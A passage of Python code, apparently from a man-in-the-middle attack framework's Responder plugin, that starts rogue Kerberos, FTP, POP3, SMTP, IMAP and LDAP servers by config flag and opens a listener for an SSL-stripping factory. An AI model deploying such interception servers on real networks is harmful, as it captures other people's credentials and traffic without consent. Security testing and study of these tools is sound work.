if self.config["Responder"]["Kerberos"].lower() == "on":
|
||||
from core.servers.Kerberos import Kerberos
|
||||
Kerberos().start()
|
||||
|
||||
if self.config["Responder"]["FTP"].lower() == "on":
|
||||
from core.servers.FTP import FTP
|
||||
FTP().start()
|
||||
|
||||
if self.config["Responder"]["POP"].lower() == "on":
|
||||
from core.servers.POP3 import POP3
|
||||
POP3().start()
|
||||
|
||||
if self.config["Responder"]["SMTP"].lower() == "on":
|
||||
from core.servers.SMTP import SMTP
|
||||
SMTP().start()
|
||||
|
||||
if self.config["Responder"]["IMAP"].lower() == "on":
|
||||
from core.servers.IMAP import IMAP
|
||||
IMAP().start()
|
||||
|
||||
if self.config["Responder"]["LDAP"].lower() == "on":
|
||||
from core.servers.LDAP import LDAP
|
||||
LDAP().start()
|
||||
|
||||
def reactor(self, strippingFactory):
|
||||
reactor.listenTCP(3141, strippingFactory)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue